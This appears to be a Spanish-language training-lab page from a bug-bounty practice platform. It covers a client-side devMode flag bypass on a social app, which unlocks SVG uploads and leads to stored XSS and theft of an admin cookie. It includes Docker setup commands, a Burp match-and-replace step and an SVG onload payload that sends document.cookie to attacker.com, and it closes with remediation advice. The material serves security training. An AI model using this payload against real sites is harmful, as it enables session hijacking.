Client-Side Permission Bypass + SVG XSS + Cookie Theft
Red social tipo Threads donde un flag de devMode oculta la funcionalidad de subida de archivos. Activandolo via Burp se puede subir un SVG malicioso con JavaScript que roba la cookie de sesion del admin.
Learn to find this bug
A real bug bounty report, reproduced for you to practice.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Hunters who solved it· 8
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
Client-Side Permission Bypass + SVG XSS + Cookie Theft
Community writeups
Despliegue
# Opcion 1: autodeploy
./autodeploy.sh
# Opcion 2: manual
docker compose up --build
# Acceder
http://localhost:1600
Compatible con macOS, Linux y Windows (Docker Desktop / WSL).
Para parar:
./autodeploy.sh destroy
# o: docker compose down -v
Contenido del Lab
La aplicacion
Threadz es una red social con posts, feed publico y funcionalidades ocultas de desarrollo (upload SVG) protegidas solo por un flag del cliente.
La vulnerabilidad
La respuesta de login/register incluye devMode: false. El frontend oculta el boton de Upload si devMode es false. Modificando la respuesta a devMode: true, aparece la funcionalidad de subir SVGs. Los SVGs se renderizan con <object> (no <img>), permitiendo ejecucion de JavaScript. La cookie de auth NO es httpOnly, por lo que un SVG malicioso puede robarla.
Cadena de ataque
1. Registrarse → devMode: false
2. Burp Match & Replace: devMode.*false → devMode.*true
3. Subir SVG: <svg onload=\"fetch('https://attacker.com/'+document.cookie)\">
4. Admin bot visita el SVG → Cookie robada
5. Usar cookie del admin → Acceso total
6. Flag en el panel
Solucion interactiva
Accede a /writeup dentro de la aplicacion para una guia paso a paso con botones interactivos.
Remediacion
- Nunca usar flags del cliente para controlar acceso a funcionalidades
- Marcar cookies como httpOnly y Secure
- Sanitizar SVGs antes de renderizarlos
- Usar Content-Security-Policy para prevenir inline scripts
- Validar permisos de subida en el servidor